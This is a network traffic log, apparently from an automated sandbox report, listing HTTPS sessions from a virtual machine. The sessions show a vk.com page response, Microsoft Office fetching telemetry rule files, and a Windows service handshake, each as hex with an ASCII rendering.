2024-10-14 22:39:57 UTC	2383	IN	HTTP/1.1 200 OK Server: kittenx Date: Mon, 14 Oct 2024 22:39:57 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 130329 Connection: close X-Powered-By: KPHP/7.4.118842 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Sat, 11 Oct 2025 01:06:06 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9120256952286695402_JNzpNZrXkBIfSk5yyVnfvM3BcvTqGoM7iBnXuugt91o; expires=Tue, 14 Oct 2025 22:39:57 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstid=832476079_hvT6cKvBW98ZapTP4zA31gXh4Kc6zKyUwsiyAjELzxT; expires=Sat, 11 Oct 2025 05:01:19 GMT; path=/; domain=.vk.com; secure; SameSite=None Cache-control: no-store Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru htt [TRUNCATED] X-XSS-Protection: 1; report=/xss_reports X-Frontend: front923104 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend Origin-Agent-Cluster: ?0 X-Trace-Id: FqJyKG4mv1JUL4m3eyCX48N6z_2ZSg Server-Timing: tid;desc="FqJyKG4mv1JUL4m3eyCX48N6z_2ZSg"
2024-10-14 22:39:57 UTC	14001	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 27 20 64 69 72 3d 27 6c 74 72 27 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 20 20 73 72 63 3d 22 2f 6a 73 2f 6c 6f 61 64 65 72 5f 6e 61 76 32 31 32 32 34 34 37 34 31 34 39 5f 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 5f 6c 6f 67 6f 2e 69 63 6f 3f 37 22 20 2f 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 Data Ascii: <!DOCTYPE html><html lang='en' dir='ltr'><head><script type="text/javascript" src="/js/loader_nav21224474149_3.js"></script><link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" /><meta http-equiv="content-type" content="text/ht
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 77 5f 73 65 72 76 65 72 5f 72 6f 75 74 69 6e 67 22 3a 31 2c 22 76 6b 5f 77 65 62 5f 61 70 70 5f 6f 70 65 6e 5f 72 65 70 6f 72 74 5f 66 6f 72 6d 22 3a 31 2c 22 6d 69 6e 69 5f 61 70 70 73 5f 6e 61 76 67 6f 5f 68 61 73 68 5f 66 69 78 22 3a 31 2c 22 6d 69 6e 69 5f 61 70 70 73 5f 6e 61 76 67 6f 5f 68 61 73 68 5f 73 74 61 74 73 22 3a 31 2c 22 75 73 65 72 73 5f 77 61 73 6d 5f 73 75 70 70 6f 72 74 22 3a 31 2c 22 77 65 62 5f 6d 79 74 72 61 63 6b 65 72 5f 63 6f 6c 6c 65 63 74 5f 70 6f 73 74 5f 73 74 61 74 73 22 3a 31 2c 22 63 61 74 61 6c 6f 67 5f 6e 65 77 5f 66 72 69 65 6e 64 73 5f 73 65 61 72 63 68 5f 6e 70 73 5f 74 72 69 67 67 65 72 73 22 3a 31 2c 22 63 6c 6f 73 65 5f 74 72 69 67 67 65 72 73 5f 77 69 64 67 65 74 73 22 3a 31 2c 22 73 70 61 6d 5f 6d 65 73 73 61 67 Data Ascii: w_server_routing":1,"vk_web_app_open_report_form":1,"mini_apps_navgo_hash_fix":1,"mini_apps_navgo_hash_stats":1,"users_wasm_support":1,"web_mytracker_collect_post_stats":1,"catalog_new_friends_search_nps_triggers":1,"close_triggers_widgets":1,"spam_messag
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 3b 73 20 6e 61 6d 65 22 2c 22 76 6f 74 65 73 5f 74 72 61 6e 73 66 65 72 5f 63 68 6f 6f 73 65 5f 72 65 63 69 70 69 65 6e 74 73 22 3a 22 53 65 6c 65 63 74 20 61 20 75 73 65 72 22 2c 22 70 61 79 6d 65 6e 74 73 5f 63 61 72 64 73 5f 72 65 64 69 72 65 63 74 22 3a 22 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 70 61 79 6d 65 6e 74 20 67 61 74 65 77 61 79 2e 3c 62 72 3e 50 6c 65 61 73 65 20 77 61 69 74 2e 2e 2e 22 2c 22 70 61 79 6d 65 6e 74 73 5f 70 61 79 6d 65 6e 74 5f 63 61 6e 63 65 6c 6c 65 64 22 3a 22 54 68 65 20 70 61 79 6d 65 6e 74 20 70 72 6f 63 65 73 73 20 77 61 73 20 63 61 6e 63 65 6c 65 64 2e 22 2c 22 70 61 79 6d 65 6e 74 73 5f 6d 6f 6e 65 79 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 5f 6e 6f 5f 61 63 63 65 70 74 5f 63 61 72 64 22 3a 22 50 6c 65 61 73 Data Ascii: ;s name","votes_transfer_choose_recipients":"Select a user","payments_cards_redirect":"Redirecting to payment gateway.<br>Please wait...","payments_payment_cancelled":"The payment process was canceled.","payments_money_request_error_no_accept_card":"Pleas
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 70 69 65 64 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 6f 72 64 5f 73 6e 61 63 6b 62 61 72 5f 61 64 64 65 64 22 3a 22 54 61 67 67 65 64 20 61 73 20 61 64 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 70 6c 61 79 6c 69 73 74 5f 64 65 6c 65 74 65 64 22 3a 22 cf eb e5 e9 eb e8 f1 f2 20 f3 e4 e0 eb b8 ed 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 70 6c 61 79 6c 69 73 74 5f 73 61 76 65 64 22 3a 22 50 6c 61 79 6c 69 73 74 20 73 61 76 65 64 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 72 65 6d 6f 76 65 64 5f 66 72 6f 6d 5f 68 69 73 74 6f 72 79 22 3a 22 56 69 64 65 6f 20 72 65 6d 6f 76 65 64 20 66 72 6f 6d 20 68 69 73 74 6f 72 79 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 63 6c 65 61 72 65 64 5f 68 69 73 74 6f 72 79 22 3a 22 57 61 74 63 68 20 Data Ascii: pied","mobile_video_ord_snackbar_added":"Tagged as ad","mobile_video_playlist_deleted":" ","mobile_video_playlist_saved":"Playlist saved","mobile_video_removed_from_history":"Video removed from history","mobile_video_cleared_history":"Watch
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 69 6e 67 5f 65 72 72 6f 72 5f 63 61 70 74 69 6f 6e 22 3a 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 61 75 64 69 6f 22 2c 22 76 6b 63 6f 6e 6e 65 63 74 5f 61 75 74 68 5f 63 61 70 74 63 68 61 5f 69 6d 61 67 65 5f 6c 6f 61 64 69 6e 67 5f 65 72 72 6f 72 5f 72 65 74 72 79 5f 61 72 69 61 5f 6c 61 62 65 6c 22 3a 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 69 6d 61 67 65 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 22 76 6b 63 6f 6e 6e 65 63 74 5f 61 75 74 68 5f 63 61 70 74 63 68 61 5f 73 6f 75 6e 64 5f 6c 6f 61 64 69 6e 67 5f 65 72 72 6f 72 5f 72 65 74 72 79 5f 61 72 69 61 5f 6c 61 62 65 6c 22 3a 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 61 75 64 69 6f 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 22 76 6b 63 6f Data Ascii: ing_error_caption":"Failed to load audio","vkconnect_auth_captcha_image_loading_error_retry_aria_label":"Failed to load image. Please try again.","vkconnect_auth_captcha_sound_loading_error_retry_aria_label":"Failed to load audio. Please try again.","vkco
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 73 5f 62 65 73 74 5f 66 72 69 65 6e 64 73 5f 6f 6e 6c 79 22 3a 22 43 6c 6f 73 65 20 66 72 69 65 6e 64 73 20 6f 6e 6c 79 22 2c 22 65 76 65 6e 74 73 5f 6d 6f 6e 22 3a 22 4d 6f 6e 22 2c 22 65 76 65 6e 74 73 5f 74 75 65 22 3a 22 54 75 65 22 2c 22 65 76 65 6e 74 73 5f 77 65 64 22 3a 22 57 65 64 22 2c 22 65 76 65 6e 74 73 5f 74 68 75 22 3a 22 54 68 75 22 2c 22 65 76 65 6e 74 73 5f 66 72 69 22 3a 22 46 72 69 22 2c 22 65 76 65 6e 74 73 5f 73 61 74 22 3a 22 53 61 74 22 2c 22 65 76 65 6e 74 73 5f 73 75 6e 22 3a 22 53 75 6e 22 2c 22 64 61 74 65 70 69 63 6b 65 72 5f 64 61 74 65 5f 66 6f 72 6d 61 74 22 3a 22 7b 64 61 79 7d 20 7b 6d 6f 6e 74 68 7d 20 7b 79 65 61 72 7d 22 2c 22 64 61 74 65 70 69 63 6b 65 72 5f 6d 6f 6e 74 68 5f 66 6f 72 6d 61 74 22 3a 22 7b 6d 6f 6e 74 Data Ascii: s_best_friends_only":"Close friends only","events_mon":"Mon","events_tue":"Tue","events_wed":"Wed","events_thu":"Thu","events_fri":"Fri","events_sat":"Sat","events_sun":"Sun","datepicker_date_format":"{day} {month} {year}","datepicker_month_format":"{mont
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 6d 65 6e 74 5f 63 68 61 6e 67 65 5f 65 72 72 6f 72 5f 61 6d 6f 75 6e 74 5f 65 71 75 61 6c 22 3a 22 54 68 65 20 6e 65 77 20 61 6d 6f 75 6e 74 20 6d 75 73 74 20 62 65 20 64 69 66 66 65 72 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 63 75 72 72 65 6e 74 20 6f 6e 65 22 2c 22 67 72 6f 75 70 73 5f 64 6f 6e 75 74 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 6d 61 6e 61 67 65 5f 63 61 6e 63 65 6c 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 61 63 74 69 6f 6e 5f 62 75 74 74 6f 6e 22 3a 22 53 74 6f 70 20 64 6f 6e 61 74 69 6e 67 22 2c 22 67 72 6f 75 70 73 5f 64 6f 6e 75 74 5f 63 61 6e 63 65 6c 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 72 65 61 73 6f 6e 73 5f 70 61 6e 65 6c 5f 68 65 61 64 65 72 22 3a 22 ce f2 ec e5 ed e0 20 ef ee e4 e4 e5 f0 e6 ea e8 22 2c 22 67 72 6f 75 70 73 Data Ascii: ment_change_error_amount_equal":"The new amount must be different from the current one","groups_donut_subscription_manage_cancel_subscription_action_button":"Stop donating","groups_donut_cancel_subscription_reasons_panel_header":" ","groups
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 66 75 6c 6c 20 76 65 72 73 69 6f 6e 20 6f 66 a0 74 68 65 a0 76 69 64 65 6f 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 6d 6f 64 61 6c 5f 68 65 61 64 65 72 22 3a 22 4d 79 20 63 6c 69 70 73 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 6d 6f 64 61 6c 5f 61 63 74 69 6f 6e 5f 73 75 62 6d 69 74 22 3a 22 4c 69 6e 6b 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 6d 6f 64 61 6c 5f 61 6c 72 65 61 64 79 5f 73 65 6c 65 63 74 65 64 5f 74 6f 6f 6c 74 69 70 5f 68 65 61 64 65 72 22 3a 22 43 6c 69 70 20 61 6c 72 65 61 64 79 20 6c 69 6e 6b 65 64 20 74 6f a0 76 69 64 65 6f 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 6d 6f 64 61 6c 5f 61 6c 72 65 61 64 79 5f 73 65 6c 65 63 74 65 64 5f 74 6f 6f 6c 74 69 Data Ascii: full version ofthevideo","video_clip_select_modal_header":"My clips","video_clip_select_modal_action_submit":"Link","video_clip_select_modal_already_selected_tooltip_header":"Clip already linked tovideo","video_clip_select_modal_already_selected_toolti
2024-10-14 22:39:57 UTC	1640	IN	Data Raw: 3a 74 72 75 65 2c 22 63 61 6e 5f 70 6c 61 79 22 3a 74 72 75 65 2c 22 70 61 72 61 6d 73 22 3a 7b 22 76 6b 5f 69 64 22 3a 22 22 2c 22 64 75 72 61 74 69 6f 6e 22 3a 38 39 32 36 2c 22 76 69 64 65 6f 5f 69 64 22 3a 22 34 32 34 31 30 38 33 30 35 5f 34 35 36 32 33 39 32 34 31 22 2c 22 70 6c 22 3a 32 31 34 36 39 2c 22 63 6f 6e 74 65 6e 74 5f 69 64 22 3a 22 31 38 32 31 35 33 31 33 30 30 33 39 33 32 33 32 35 32 31 22 2c 22 6c 61 6e 67 22 3a 30 2c 22 70 75 69 64 31 22 3a 37 34 2c 22 70 75 69 64 32 22 3a 31 30 2c 22 70 75 69 64 33 22 3a 31 2c 22 70 75 69 64 34 22 3a 32 2c 22 70 75 69 64 35 22 3a 31 34 2c 22 70 75 69 64 36 22 3a 38 36 2c 22 70 75 69 64 37 22 3a 31 2c 22 70 75 69 64 38 22 3a 31 33 2c 22 70 75 69 64 39 22 3a 33 2c 22 70 75 69 64 31 30 22 3a 34 2c 22 70 Data Ascii: :true,"can_play":true,"params":{"vk_id":"","duration":8926,"video_id":"424108305_456239241","pl":21469,"content_id":"1821531300393232521","lang":0,"puid1":74,"puid2":10,"puid3":1,"puid4":2,"puid5":14,"puid6":86,"puid7":1,"puid8":13,"puid9":3,"puid10":4,"p

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:57 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: eba22146-701e-0021-1f31-1c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223957Z-17db6f7c8cfcl4jvqfdxaxz9w800000004eg000000007tkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:57 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7c051060-401e-008c-630d-1c86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223957Z-17db6f7c8cfq2j6f03aq9y8dns000000069g000000003gm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:57 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:57 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e9bc8845-c01e-008d-06d9-1a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223957Z-17db6f7c8cfhrxld7punfw920n00000005r000000000f6ka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:57 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:57 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 49fa3939-001e-0017-20cd-1a0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223957Z-17db6f7c8cfqkqk8bn4ck6f72000000006s000000000f5pu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:57 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:57 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 65388d65-201e-0051-79ef-1a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223957Z-17db6f7c8cfqxt4wrzg7st2fm8000000076g000000003pzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:57 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49910	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 6e 43 47 2f 4c 4c 2f 36 45 6d 67 69 52 44 6e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 36 65 31 66 37 61 64 65 37 61 39 30 33 61 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BnCG/LL/6EmgiRDn.1Context: 76e1f7ade7a903a9
2024-10-14 22:39:57 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: 